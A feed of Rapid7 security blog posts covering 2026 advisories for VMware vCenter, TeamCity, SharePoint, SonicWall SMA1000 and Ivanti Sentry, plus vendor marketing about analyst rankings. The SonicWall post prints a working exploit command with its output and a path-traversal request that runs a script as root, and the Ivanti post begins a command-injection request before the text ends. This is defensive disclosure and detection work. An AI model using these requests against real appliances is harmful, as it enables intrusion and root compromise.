Ethiack reports that Rails 6.0.0 through 6.1.7.10 may also be affected when Active Storage is configured to use Vips; Rails 6.x does not use Vips by default. Rails has not published a fixed 6.x release, so affected Rails 6.x applications should migrate to a supported fixed branch or apply the applicable workaround below.

When ruby-vips is installed, organizations should ensure it is 2.2.1 or later. Rails advises affected organizations to replace secret_key_base and other secrets accessible to the application process, including the Rails master key and the credentials it decrypts, storage service credentials, database credentials, and third-party service tokens or keys. Replacing secret_key_base expires active sessions and affects encrypted and signed cookies, signed global IDs, and Active Storage URLs.

As a temporary workaround on libvips 8.13 or later, organizations can set VIPS_BLOCK_UNTRUSTED or, with ruby-vips 2.2.1 or later, call Vips.block_untrusted(true) from an initializer. For libvips versions earlier than 8.13, Rails states that the only workaround is to remove the libvips dependency.

For the latest mitigation guidance, please refer to the Ruby on Rails security advisory.

Rapid7 customers

Exposure Command, InsightVM, and Nexpose

Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-66066 with vulnerability checks expected to be available in the July 31 content release.

Updates

July 30, 2026: Initial publication.

Rapid7 named a Leader in the IDC MarketScape: Worldwide MDR Service for Midmarket 2026 Vendor Assessment

2026-07-30 Rapid7

Post Syndicated from Rapid7 original https://www.rapid7.com/blog/post/dr-idc-marketscape-leader-worldwide-mdr-service-midmarket-2026-vendor-assessment

IDC has named Rapid7 a Leader in the 2026 Worldwide Managed Detection and Response Service for Midmarket 2026 Vendor Assessment (Doc #US52992326, July 2026). We believe this recognition and research highlights where MDR is heading.

Many security programs are still built around a reactive sequence of detect, triage, and respond, but the timelines surrounding modern attacks have changed too quickly for that model to hold up on its own. Time-to-exploit has dropped from two years to 22 hours, while eCrime breakout time now sits at 29 minutes. In an environment like that, a program moving at human speed across siloed data, cannot keep pace. Rapid7’s view is that MDR must evolve accordingly, which is why we have been building toward a more preemptive security model.

What the IDC MarketScape said

The IDC MarketScape evaluation examined vendors across technical capability, service delivery, and strategic vision and two of IDC comments about Rapid7 stand out for us:

First, on how Rapid7’s MDR works differently:

“Rapid7’s Preemptive MDR model, which natively integrates vulnerability context, asset criticality, and attack path data directly into the analyst investigation workflow, provides a structurally differentiated detection approach that connects threat activity to underlying exposure in real time.”

This is the core of what we’ve built. Exposure management and detection and response work in our Command Platform’s unified data mesh, which means exposure context shapes what threats get surfaced, while active threat monitoring improves how exposure is prioritized. That connection is a meaningful part of how Rapid7 approaches MDR today.

Second, comments on threat intelligence:

“The combination of [Rapid7] Project Lorelei honeypot intelligence and Project Sonar internet-wide exposure data provides proprietary threat intelligence sources that are not replicated by other providers in the market.”

This threat intelligence is fueled by Rapid7 Labs, our dedicated global threat research and intelligence division, which constantly analyzes the global attack surface. Project Sonar catalogs public internet exposure, and Project Lorelei is our global network of honeypots that catches live attacker traffic. Together, they give Rapid7 a proprietary source of intelligence that feeds directly into detection engineering and investigation workflows.

Where MDR is heading next:

The recognition is important to us, but the more useful question is where MDR is heading and how Rapid7 is building for that shift. We are actively deploying autonomous AI agents in our Agentic SOC to handle the first hour of forensic investigation, including volatile memory collection, identity flow correlation, and initial triage before a human analyst opens the case. In practical terms, that is what responding at machine speed starts to look like inside a modern SOC.

Our MDR offering, Managed Threat Complete, includes unlimited incident response and a $1M Breach Protection Warranty, adding a stronger level of accountability for organizations that want MDR outcomes backed by both service depth and financial protection.

Read IDC’s full evaluation of Rapid7 here. If you’re evaluating your MDR approach, we’d like to show you what preemptive security could look like in your environment.

Critical VMware vCenter Vulnerabilities Allow Authentication Bypass and Remote Code Execution (CVE-2026-59309, CVE-2026-59310)

2026-07-30 Rapid7

Post Syndicated from Rapid7 original https://www.rapid7.com/blog/post/etr-critical-vmware-vcenter-vulnerabilities-allow-authentication-bypass-and-remote-code-execution-cve-2026-59309-cve-2026-59310

Overview

On July 29, 2026, Broadcom published security advisory VMSA-2026-0006 addressing multiple vulnerabilities in several VMWare products. Included in the advisory are two critical remotely exploitable vulnerabilities affecting VMware vCenter Server: CVE-2026-59309 and CVE-2026-59310. Both vulnerabilities carry CVSSv3.1 base scores of 9.8 and can be exploited by unauthenticated attackers with network access to a vulnerable vCenter Server.

CVE	CVSSv3.1	Description Summary
CVE-2026-59309	9.8 (Critical)	An authentication bypass vulnerability in the VMware Directory Service of vCenter that could allow a remote attacker to bypass authentication and gain unauthorized access to the vCenter management plane.
CVE-2026-59310	9.8 (Critical)	A directory traversal vulnerability in the vCenter Syslog server that could allow an attacker with network access to execute arbitrary code.

VMware vCenter Server provides centralized management for VMware vSphere environments, allowing administrators to manage ESXi hosts, virtual machines, resource allocation, availability, and other virtualization infrastructure from a central control plane. Compromise of vCenter can therefore provide an attacker with significant control over the virtualized environment and its associated workloads.

Both vulnerabilities are particularly significant because exploitation does not require prior authentication. However, an attacker must have network access to the affected vCenter services. Management interfaces such as vCenter are commonly restricted to internal or dedicated management networks, which can reduce exposure to internet-based attacks but does not mitigate the risk from an attacker who has already established access to an organization’s network.

At the time of publication, there is no known evidence of exploitation or scanning in the wild for either CVE-2026-59309 or CVE-2026-59310. There is also currently no known public proof-of-concept exploit code. However, vCenter Server has appeared on CISA’s KEV list ten times in the past for other vulnerabilities, so it is known that attackers target critical issues in this product. Customers running affected VMWare products are urged to patch on an urgent basis before exploitation in-the-wild occurs.

Mitigation guidance

Organizations running VMware vCenter Server should prioritize applying the updates identified by Broadcom in VMSA-2026-0006 on an urgent basis. Broadcom states that there are no workarounds for CVE-2026-59309 or CVE-2026-59310, making vendor-provided updates the primary remediation.

VMware Product	Component	Version	Running On	Fixed Version
VMware Cloud Foundation, VMware vSphere Foundation	vCenter	9.1.x.x	Any	9.1.0.0300
VMware Cloud Foundation, VMware vSphere Foundation	vCenter	9.0.x.x	Any	9.0.2.0100
VMware vCenter	N/A	8.0	Any	8.0 U3k
VMware Cloud Foundation	vCenter	5.x	Any	Async patch to 8.0 U3k
VMware Telco Cloud Platform	vCenter	3.0, 4.x, 5.0.x, 5.1.x	Any	Refer to KB449886
VMware Telco Cloud Infrastructure	vCenter	3.0	Any	Refer to KB449886

For the latest mitigation guidance, please refer to the vendor advisory.

Rapid7 customers

Exposure Command, InsightVM, and Nexpose

Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-59309 and CVE-2026-59310 on VMware vCenter Server, Cloud Foundation, and vSphere Foundation products with unauthenticated vulnerability checks expected to be available in the July 30 content release.

Updates

July 30, 2026: Initial publication.

CVE-2026-63077: Critical unauthenticated remote code execution in JetBrains TeamCity

2026-07-29 Rapid7

Post Syndicated from Rapid7 original https://www.rapid7.com/blog/post/etr-cve-2026-63077-critical-unauthenticated-remote-code-execution-in-jetbrains-teamcity

Overview

On July 27, 2026, JetBrains published a security advisory for CVE-2026-63077, a critical unauthenticated vulnerability affecting all versions of TeamCity On-Premises. The issue is classified as deserialization of untrusted data and has a CVSS score of 9.8. An unauthenticated remote attacker with HTTP(S) access to a TeamCity server can exploit the agent polling protocol to bypass authentication checks and execute arbitrary operating system commands with the privileges of the TeamCity server process.

In the blog post that JetBrains shared in tandem with CVE publication, they stated that attackers who exploit the vulnerability can read stored credentials and compromise CI/CD pipeline integrity. The impact of successful exploitation depends on the operating system privileges granted to the TeamCity server process. At the time of disclosure, JetBrains stated that they were not aware of active exploitation.

Mitigation guidance

Organizations running TeamCity On-Premises should urgently prioritize updating to a fixed version, either via the TeamCity UI update workflow or by downloading and installing one of the following fixed versions:

TeamCity 2025.11.7
TeamCity 2026.1.3

All versions of TeamCity On-Premises are affected. Organizations that cannot upgrade can apply JetBrains’ security patch plugin to TeamCity 2017.1 and later. The plugin addresses only CVE-2026-63077; JetBrains recommends upgrading to a fixed version to receive other security updates. TeamCity Cloud customers do not need to take action.

In addition to patching, as a defense-in-depth measure, Rapid7 recommends restricting network access to TeamCity servers to only users and systems that must have it. For the latest mitigation guidance, please refer to the JetBrains security advisory.

Rapid7 customers

Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-63077 with a vulnerability check available in the July 28 content release.

Updates

July 29, 2026: Initial publication.

CVE-2026-58644: Microsoft SharePoint Server Unauthenticated Remote Code Execution Vulnerability Exploited in the Wild

2026-07-17 Rapid7

Post Syndicated from Rapid7 original https://www.rapid7.com/blog/post/etr-cve-2026-58644-microsoft-sharepoint-server-unauthenticated-remote-code-execution-vulnerability-exploited-in-the-wild

Overview

On July 14, 2026, Microsoft published a security advisory addressing CVE-2026-58644, a critical remote code execution (RCE) vulnerability affecting on-premises Microsoft SharePoint Server deployments. The vulnerability, which carries a CVSS v3.1 score of 9.8 (Critical), results from the deserialization of untrusted data (CWE-502) and allows an unauthenticated attacker to execute arbitrary code.

Microsoft confirmed active exploitation of CVE-2026-58644, and the vulnerability was subsequently added to CISA’s Known Exploited Vulnerabilities (KEV) catalog on July 16, 2026. In parallel, CISA published guidance recommending organizations immediately apply Microsoft’s security updates and leverage Microsoft Defender and AMSI detections to identify exploitation attempts.

Affected products:

Microsoft SharePoint Enterprise Server 2016
Microsoft SharePoint Server 2019
Microsoft SharePoint Server Subscription Edition

Mitigation guidance

Organizations operating affected on-premises Microsoft SharePoint Server should prioritize remediation on an emergency basis.

Microsoft’s recommendations:

Apply the July 14, 2026 security updates for all affected SharePoint versions.
Verify that security updates completed successfully across all SharePoint servers.
Ensure Antimalware Scan Interface (AMSI) integration is enabled for every SharePoint web application.
Monitor Microsoft Defender and AMSI detections for indicators of attempted exploitation.
Initiate incident response procedures if exploitation artifacts are detected.

Microsoft and CISA recommend monitoring for the following security detections associated with observed SharePoint exploitation activity.

AMSI / Microsoft Defender detections:

Exploit:Script/SuspSignoutReqBody.A

Request body scanning
SharePoint Server Subscription Edition
Microsoft reports observed exploitation attempts are blocked by this signature.

Exploit:Script/ToolPaneAuthBypass.A

Request header scanning
Applies to SharePoint Server 2016, SharePoint Server 2019, and Subscription Edition.

Exploit:Script/ToolPaneAuthBypass

At the time of publication, no public IP addresses, domains, URLs, or additional network-based indicators of compromise have been widely disclosed.

Administrators should consult Microsoft’s advisory for the most current remediation guidance and update availability.

Rapid7 customers

Exposure Command, InsightVM, and Nexpose

Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-58644 with an authenticated vulnerability check available since the July 14 content release.

Updates

July 17, 2026: Initial publication.

Rapid7 MDR Team Discovers New SonicWall SMA1000 Zero Days being Actively Exploited (CVE-2026-15409, CVE-2026-15410)

2026-07-15 Rapid7

Post Syndicated from Rapid7 original https://www.rapid7.com/blog/post/etr-rapid7-mdr-team-discovers-new-sonicwall-sma1000-zero-days-being-actively-exploited-cve-2026-15409-cve-2026-15410

Overview

On July 14, 2026, SonicWall published a security advisory addressing two vulnerabilities affecting SMA1000 Series remote access appliances, including the critical server-side request forgery (SSRF) vulnerability CVE-2026-15409 (CVSS 10.0) and the high-severity code injection vulnerability CVE-2026-15410. The advisory urges customers to immediately apply the latest platform hotfix releases.

Successful exploitation of CVE-2026-15409 permits an unauthenticated attacker to open a websocket-based tunnel to arbitrary localhost-only services, while CVE-2026-15410 is a local privilege escalation that permits an attacker with access to an internal service listening on port 8188 on localhost to execute arbitrary operating system commands as root via a malicious path traversal-based remove_hotfix workflow.

Both vulnerabilities are being actively exploited in the wild. Prior to SonicWall’s official vulnerability disclosure, Rapid7’s Managed Detection and Response team observed active, targeted zero-day exploitation of internet-facing SMA 1000-series appliances. In the SonicWall advisory, exploitation in the wild was noted, and both CVE-2026-15409 and CVE-2026-15410 have been added to CISA’s Known Exploited Vulnerabilities (KEV) catalog. Given the confirmed exploitation activity and the critical unauthenticated impact of the vulnerabilities, organizations should prioritize remediation of SMA1000 appliances on an emergency basis. A Python proof-of-concept for CVE-2026-15409 is available here for exposure validation, and a Metasploit module for the chain is in development.

Affected products include SonicWall SMA1000 Series models 6210, 7210, and 8200v running:

12.4.3-03245
12.4.3-03387
12.4.3-03434 (platform-hotfix)
12.5.0-02283
12.5.0-02624
12.5.0-02800 (platform-hotfix)

These vulnerabilities do not affect SSL VPN functionality on SonicWall firewalls or the SMA 100 Series product line.

Technical overview

The primary vulnerability is in a websocket proxy feature, accessed via the path /wsproxy on the affected “SonicWall WorkPlace” application (served on port 443 by default). This feature permits a netcat-like TCP tunnel to arbitrary hosts and ports, which are provided by the user in URL parameters. By providing host values that point to localhost, the attacker can access local SonicWall appliance system services behind the firewall to send and receive arbitrary TCP traffic to and from them. This is the first-stage vulnerability, CVE-2026-15409, that Rapid7 MDR analysts are seeing attackers exploiting in the wild. With this capability, an attacker can reach and exploit less-hardened services running on the appliance, such as the Erlang application on localhost:1050 or the ctrl-service application on localhost:8188.

We developed an exploit targeting the Erlang process listening on localhost:1050 for remote code execution. Note that the provided cookie value is hardcoded for the Erlang process, based on our testing, so authentication is not required to establish code execution.

# python3 cve-2026-15409.py --ws-url 'wss://192.168.1.46/wsproxy?bmID=-3389c1b25ccd&serviceType=SSH&host=0.0.0.0&port=1050' --ws-user-agent 'SMA Connect Agent' --ws-insecure-tls --cookie 10ecad5b446e86864832904cd439b6b70262 --exec 'whoami && id && pwd && hostname'
Authenticated to [email protected]
Peer flags: 0xd07df7fbd
Peer creation: 1784069352
RPC os:cmd/1 => couchdb
uid=1010(couchdb) gid=1(daemon) groups=1(daemon)
/opt/couchdb
SMAAppliance.sma

With code execution established, the attacker can escalate to root on the appliance by exploiting CVE-2026-15410, which is a path traversal in the remove_hotfix workflow of ctrl-service. This can be performed via the web console or by hitting port 8188 on the device. The attacker provides a hotfix value containing a path traversal sequence to a malicious script, such as “../../../../var/tmp/privesc”. The system executes the script as root and (typically) reboots the appliance immediately after.
An example malicious request achieving privilege escalation by leveraging this from the web panel is depicted below:

POST /rollbackConfirm.action HTTP/1.1
Host: 192.168.181.46:8443
Cookie: EXTRAWEB_REFERER=%252F; JSESSIONID=node01bcg1tbiy6qi7s97xsoa42lhp8.node0
Content-Length: 134
Cache-Control: max-age=0
Sec-Ch-Ua: "Not?A_Brand";v="24", "Chromium";v="152"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36
Origin: https://192.168.181.46:8443
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://192.168.181.46:8443/rollbackConfirm.action
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
Connection: keep-alive

csrfToken=GFEJUCQBUZOLUCCOO3YBA8G30ZE9VKDP&command=rollback&rollbackUpgradeTime=&hotfix=../../../../../tmp/1234.sh&rollbackHotfixTime=

If the provided hotfix file does not exist, a reboot does not occur. If the provided file exists, the system reboots after it chmods and executes the file. Below is a system monitor (pspy) depicting output of this occurring during exploitation:

2026/07/09 23:21:00 CMD: UID=0     PID=10355  | chmod +x /var/lib/aventail/avp/rollback/../../../../../tmp/1234.sh
2026/07/09 23:21:00 CMD: UID=0     PID=10355  | /bin/bash /var/lib/aventail/avp/rollback/../../../../../tmp/1234.sh --unattended
2026/07/09 23:21:00 CMD: UID=0     PID=10361  | /usr/bin/python3 /usr/local/ctrl-service/bin/ctrl-service.py
[...]
2026/07/09 23:21:22 CMD: UID=0     PID=11124  | shutdown -r now

A Python proof-of-concept for CVE-2026-15409 is available here; a Metasploit module for the chain is in development.

Mitigation guidance

Organizations operating SonicWall SMA1000 appliances should immediately upgrade to the latest platform hotfix releases.

Fixed versions are:

Product	Fixed Version
SMA1000 Series (6210, 7210, 8200v)	12.4.3-03453 (platform-hotfix) or later
SMA1000 Series (6210, 7210, 8200v)	12.5.0-02835 (platform-hotfix) or later

There are no workarounds available.

Because active exploitation has been confirmed, organizations should not rely solely on patching. SonicWall additionally recommends:

Performing a thorough forensic review for indicators of compromise.
Re-imaging physical appliances or redeploying virtual appliances if compromise is identified.
Changing user and administrator passwords.
Resetting TOTP tokens following confirmed compromise.

Customers should consult the SonicWall security advisory for the latest remediation guidance and platform hotfix availability.

Observed exploitation

Prior to SonicWall’s official vulnerability disclosure, our Managed Detection and Response team observed active, targeted exploitation of internet-facing SMA 1000-series appliances. Threat actors were primarily leveraging the perimeter appliance as a stealthy initial access vector, executing commands on the operating system by bypassing traditional input validation controls. Once they established a foothold on the appliance, the actors systematically extracted high-value credentials, active session databases, and Time-Based One-Time Password (TOTP) multi-factor authentication (MFA) seed configurations. This local harvesting was designed to ensure long-term, persistent access that could survive standard network-level remediations.

With these harvested resources, the threat actors quickly shifted to lateral movement, pivoting from the compromised appliance directly into the internal corporate network. Specifically, we observed a sequence of anomalous, VPN-less Active Directory authentications targeting core domain controllers. These authentications originated directly from the appliance’s internal IP address, using atypical, non-corporate workstation client names (such as kali or other non-inventory hostnames) under the context of the appliance’s integrated LDAP service account. This unique behavior of direct, machine-level lateral movement with no corresponding active VPN tunnel confirmed that the appliance itself had been fully compromised and was acting as an unmonitored backdoor into the corporate directory infrastructure.

Artifacts or evidence sources and IOCs

Rapid7 recommends reviewing appliance logs for evidence of active exploitation, including the following characteristic behaviors and specific log indicators:

Characteristic Behaviors

Websocket exploit IOC log patterns: extraweb_access.log entries containing the strings (“GET” AND “wsproxy” AND “=-3389” AND “ 101 “) indicate interactions with the niche affected service. If suspicious host parameter values such as “0.0.0.0”, “localhost”, or “::ffff:127.0.0.1” are present, that’s indicative of likely exploitation of CVE-2026-15409. Note that “serviceType=SSH” was used in our published materials, but options such as “serviceType=TELNET” are viable alternatives.
Hotfix removal exploit IOC log patterns: The ctrl-service.log shows the hotfix-removal utility (/usr/local/bin/remove_hotfix) being invoked with traversal sequences pointing to attacker-staged shell script payloads (e.g., ../../../../../../tmp/sma1000_5c47.sh). This is indicative of successful exploitation of CVE-2026-15410.
Internet-facing probing: Enumeration of the SMA portal, including repeated requests to /auth1.html, path-traversal attempts, and generic file/enumeration requests (e.g., /.env, /api/sonicos/is-sslvpn-enabled).
Authentication activity: Authentication-API activity against /__api__/logon/<session-id>/authenticate.
Sensitive path access: Access to sensitive appliance paths such as /tmp/temp.db*, consistent with theft of stored session data.
AD/Service Account Compromise: NTLM logons (Windows Event ID 4624, logon type 3) into internal domain controllers sourced from the appliance’s internal IP address, using attacker-controlled workstation names (e.g., kali) without a corresponding VPN session.

extraweb_access.log: Requests to /__api__/login or /__api__/logout returning HTTP 200, and requests to /wsproxy containing suspicious host parameters returning HTTP 101.

Configuration artifacts

/var/lib/unit/conf.json containing routes for /__api__/login or /__api__/logout, which are not present in legitimate configurations.

Atomic Indicators

F.N.S Holdings Limited (ASN – 206092): The threat actor(s) utilized varying IP addresses, but they belonged to the VPN hosting provider FNS Holdings Limited. Limit or block access to FNS Holdings Limited if there is no business need. For reference, the IP addresses we observed were:

45.131.194.0/24
45.146.54.0/24
63.135.161.0/24
173.239.211.0/24
193.37.32[.]179
193.37.32[.]214
216.73.163[.]151
216.73.163[.]158

If any indicators of compromise are identified, organizations should treat the appliance as compromised and follow SonicWall’s recovery guidance.

Rapid7 customers

Organizations should prioritize identifying all internet-facing SonicWall SMA1000 appliances and determine whether affected software versions remain deployed. Given SonicWall’s and Rapid7’s confirmation of active exploitation, exposed appliances should be considered high-priority assets for remediation.

Security teams should also review available authentication, web access, and appliance management logs for the indicators published by SonicWall to determine whether follow-up incident response activities are warranted.

Exposure Command, InsightVM, and Nexpose

Exposure Command, InsightVM, and Nexpose customers will be able to assess exposure to CVE-2026-15409 and CVE-2026-15410 with authenticated vulnerability checks available in the July 15 content release.

Updates

July 15, 2026: Initial publication.

Why SIEM is Moving Toward Unified Security Operations: Rapid7 Named a Major Player in IDC MarketScape

2026-06-23 Rapid7

Post Syndicated from Rapid7 original https://www.rapid7.com/blog/post/dr-siem-moving-toward-unified-security-operations-rapid7-named-idc-marketscape-major-player

Rapid7 has been named a Major Player in the IDC MarketScape: Worldwide SIEM 2026 Vendor Assessment (#US54126826, June 2026).

This is the first IDC SIEM MarketScape to bring the enterprise and SMB markets into a single evaluation, and we believe it arrives at a time when the way teams buy and run a SOC is changing quickly. Security teams are no longer evaluating detection and response in isolation. They want their threat data, automation, and view of the attack surface working together, rather than spread across a stack of disconnected tools.

We believe Incident Command reflects that shift by bringing threat data, automation, and attack surface context into one platform instead of leaving teams to work across disconnected tools. It also speaks to a broader change in security operations, where context matters more, speed matters more, and teams need a clearer path from alert to action. That same direction runs through Rapid7’s wider point of view on preemptive security: exposure, detection, and response work better when they inform each other through shared context, AI, and human expertise.

Incident Command brings detection, response, and exposure context together

Incident Command brings SIEM, SOAR, attack surface management, and threat intelligence together on a shared data model. That gives analysts access to asset risk, vulnerability data, and exposure context during an investigation, so they can understand whether a detection affects a high-risk, internet-facing asset without having to jump between separate products.

According to the IDC MarketScape, “Incident Command is a strong fit for midmarket to enterprise organizations that want a fully integrated security operations platform with predictable costs.”

The teams we talk to are tired of stitching tools together and dealing with surprise ingestion bills. They want fewer blind spots, faster investigations, and a clearer answer to what is urgent and what to do next. Incident Command addresses that by bringing exposure context, threat intelligence, and response automation into the SIEM workflow, helping teams investigate faster and act with more clarity. For organizations looking for additional managed coverage, Rapid7 MDR is available as a separate offering. As attacks move faster and environments become harder to manage, security operations work better when exposure, threat, and response data are connected through an open platform that gives teams the context they need to move with more speed and clarity.

AI and automation, pressure-tested by a global SOC

Many vendors talk about AI in the SOC. For customers, the more important question is how those capabilities are developed, tested, and refined so they are useful in real investigations rather than just sounding good in a product story. We believe the IDC MarketScape called out what that means in Rapid7’s case:

“AI models and automation capabilities are tested in the MDR SOC before release to product customers, providing a feedback loop between managed service outcomes and product development that organizations without their own MDR equivalent cannot replicate.”

Our MDR analysts work real incidents across thousands of customer environments every day. The detections, triage models, and automation that come out of that work are tested against live attacks before they reach product customers. That feedback loop helps make the AI Engine more useful in practice by handling repetitive work such as classifying alerts, compiling evidence, and surfacing next steps, while analysts spend their time on the decisions that actually require human judgment. That balance also reflects Rapid7’s broader platform story: AI-powered, backed by human expertise.

What we believe this IDC MarketScape recognition says about the future of SIEM

The 2026 IDC MarketScape is a useful signal of where the market is heading. Organizations are looking for platforms where exposure and detection inform each other instead of living in separate systems, and where AI helps teams move faster without removing the human judgment needed to make the right call. We believe that is very much in line with the platform Rapid7 has been building through Incident Command and the wider Command Platform story. We’ll continue investing in the AI Engine, deeper attack surface context, and the integrations customers rely on. The goal remains straightforward: help defenders move faster to keep their environment safe, investigate with more context, and respond with machine speed and confidence.

Want to see Incident Command in action? Request a demo or explore the packages built to meet your team where it is.

Beyond the Score: Using AI to Translate CVEs into Real-World Business Risk

2026-06-15 Rapid7

Post Syndicated from Rapid7 original https://www.rapid7.com/blog/post/ai-beyond-the-score-translating-cves-into-real-business-risk

Security leaders rarely struggle to gather data, but they often struggle to turn that data into something clear and meaningful for the business. In a typical week, a CISO might receive a report listing hundreds or even thousands of vulnerabilities, most of them accompanied by CVSS scores that make the entire list look urgent, while also managing the wider set of operational, regulatory, and strategic demands that already come with the role.

That difficulty becomes more obvious when the same information has to be carried into the boardroom, where the questions are rarely about CVE IDs or exploit counts in isolation. What leadership wants to understand is whether the organization’s revenue, uptime, legal exposure, or broader resilience could be affected, and how quickly those risks need to be addressed.

This is where many security programs lose momentum, because the technical view of severity does not always line up neatly with the business view of consequence. Bridging that gap has traditionally been slow, manual work, which is one reason AI is starting to matter more in vulnerability management: it can help translate technical findings into business context that is clearer, faster to act on, and easier for leadership to understand.

Why CVSS alone does not reflect real-world business risk

For years, the industry has relied on CVSS as a quick way to judge urgency, and while the framework does account for factors such as attack vector, attack complexity, and other attack requirements, the score is still calculated in isolation and often misses the conditions that shape real risk inside an organization. A CVSS 9.8 vulnerability affecting a legacy printer in a segmented branch office may look critical on paper, but it is unlikely to carry the same business impact as a 7.5 vulnerability affecting an internet-facing database that holds sensitive customer data.

One of the long-standing weaknesses of static scoring is that it tells you how severe a flaw may be in theory, but not how much disruption it could cause in your own environment, how exposed the affected asset is, or how closely it is tied to a revenue-generating or business-critical process. That is where AI becomes more useful, because it can add the missing context that helps security teams judge not just how serious a vulnerability looks, but how much it matters in practice.

Machine learning models can now process a much broader set of inputs, including attacker activity, exploit availability, internal network topology, and the business value attached to the asset or process involved. Rather than leaving teams with a static queue of scores, that creates a live view of risk shaped by reachability, exposure, and business consequence, making it easier to separate technical severity from actual organizational risk.

How AI helps connect vulnerabilities to business impact

One of the more practical ways AI can improve vulnerability management is by helping security teams connect technical findings to the parts of the business they actually affect. A vulnerability tied to an obscure IP address may not mean much on its own, but the picture changes quickly when that asset is identified as part of a regional payment system, a customer-facing portal, or a supply chain application the business depends on. That kind of asset attribution has traditionally taken time, context, and manual investigation. AI can help shorten that process by linking technical findings to business function much more quickly.

Instead of relying only on severity scores or yesterday’s alerts, AI can weigh a broader set of signals, including exploit activity, attacker behavior, asset exposure, and internal topology, which gives security teams a more grounded way to judge where risk is most likely to become operationally significant. The benefit is not simply speed, but a clearer picture of which vulnerabilities are most likely to affect revenue, uptime, or business continuity if they are left unresolved.

At the leadership level, this same approach can help turn a large volume of technical output into something more usable. Rather than forcing CISOs to manually translate thousands of low-level alerts into board-facing language, AI can support that reporting by summarizing likely business impact, highlighting where exposure is growing, and making it easier to explain how remediation work is reducing financial and operational risk.

Two vulnerabilities, two very different business outcomes

To see how this plays out in practice, it helps to compare two vulnerabilities that might appear similarly urgent in a standard scanner, but look very different once business context is added.

Vulnerability A: The ghost in the machine

A scanner flags a CVSS 9.8 critical remote code execution flaw in an aging media server. On paper, that score suggests immediate attention. Once more context is added, the picture changes. The asset sits on a segmented guest Wi-Fi VLAN, has no path to the corporate core, and has not been linked to in-the-wild exploitation for more than two years. In practical terms, the business impact is low. The issue still needs to be addressed, but it is unlikely to justify urgent remediation ahead of higher-consequence exposures.

Vulnerability B: The quiet threat

A second finding carries a lower CVSS 7.2 high severity score, but affects a common web framework running on the organization’s primary customer portal. When AI correlates that vulnerability with asset and business context, the risk profile changes quickly. The portal is identified as a critical business process, estimated to support $250,000 in transactions per hour, while external signals point to growing exploit interest around the same framework. In that case, the business impact is far more serious. What looks like a lower-priority technical issue becomes a potential source of revenue disruption measured in millions per day.

This is where AI-assisted prioritization becomes useful. It helps teams move beyond the assumption that the highest score always deserves the fastest response and instead focus on the vulnerabilities most likely to create operational or financial harm. In practice, that means spending less time working through a queue in score order and more time reducing the exposures that matter most to the business.

How AI helps CISOs explain vulnerability risk in business terms

When security leaders can move beyond reporting how many patches were deployed and begin showing how exposure is changing in financial or operational terms, the conversation becomes much more useful. A reduction in mean time to remediate may matter to a security team, but it carries more weight at the leadership level when it is tied to a lower likelihood of downtime, reduced regulatory exposure, or less risk to a revenue-generating service.

When vulnerability data is tied to business context, it becomes easier to justify automation, tooling, or headcount based on their contribution to resilience, continuity, and measurable risk reduction, rather than on activity alone. At that level, the conversation is less about severity scores and more about what is exposed, what it could affect, and where action matters most.

One of the more practical benefits of AI is that it can help security teams explain risk in a way leadership can act on. Instead of adding another layer of technical output, it can support clearer reporting on why one issue matters more than another, what is most likely to affect the business, and where action should come first.

As attack surfaces expand and exploit timelines continue to shrink, the gap between technical findings and business understanding will only become harder to manage. Organizations that can connect those two views more effectively will be in a much stronger position to prioritize the right work, explain risk more clearly, and make vulnerability management a more meaningful part of business decision-making.

CVE-2026-10520, CVE-2026-10523 – Multiple critical vulnerabilities affecting Ivanti Sentry

2026-06-10 Rapid7

Post Syndicated from Rapid7 original https://www.rapid7.com/blog/post/etr-cve-2026-10520-cve-2026-10523-multiple-critical-vulnerabilities-affecting-ivanti-sentry

Overview

On June 9, 2026, Ivanti published a security advisory for two critical vulnerabilities affecting Ivanti Sentry (formerly known as MobileIron Sentry), which per the vendor website is an “in-line gateway that manages, encrypts, and secures traffic between the mobile device and back-end enterprise systems”. The most severe issue, CVE-2026-10520, is an OS command injection vulnerability with a CVSS score of 10.0 that allows a remote unauthenticated attacker to achieve remote code execution (RCE) with root privileges. The second vulnerability, CVE-2026-10523, is an authentication bypass vulnerability with a CVSS score of 9.9 that allows a remote unauthenticated attacker to create arbitrary administrative accounts and obtain full administrative access. Ivanti has stated that they are not aware of any customers being exploited by either of these vulnerabilities at the time of disclosure.

CVE	CVSSv3.1	CWE
CVE-2026-10520	10.0 (Critical)	OS Command Injection (CWE-78)
CVE-2026-10523	9.9 (Critical)	Authentication Bypass Using an Alternate Path or Channel (CWE-288)

On June 10, 2026, watchTowr published a technical analysis of CVE-2026-10520 that includes a proof-of-concept (PoC) exploit for unauthenticated RCE. Given the trivial nature of exploitation and the availability of a public PoC, exploitation in-the-wild is likely to begin. Ivanti Sentry has featured on the CISA KEV list twice in the past (for the vulnerabilities CVE-2023-38035 and CVE-2020-15505), so we know threat actors will likely target this product.

Organizations running affected versions of Ivanti Sentry should remediate these issues on an urgent basis before exploitation in-the-wild begins.

Technical overview for CVE-2026-10520

Based upon the technical analysis by watchTowr, CVE-2026-10520 resides in the ConfigServiceController class within the Sentry web application, which is accessible via a POST request to the unauthenticated endpoint /mics/api/v2/sentry/mics-config/handleMessage.

The handleMessage endpoint accepts an attacker supplied message parameter that is parsed as an internal configuration command. This ultimately results in arbitrary OS command execution as root with an attacker control OS command. Shown below is an example HTTP request generated by the public PoC to execute the id command on an affected system:

POST /mics/api/v2/sentry/mics-config/handleMessage HTTP/1.1
Host: [redacted]
User-Agent: python-requests/2.33.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 161
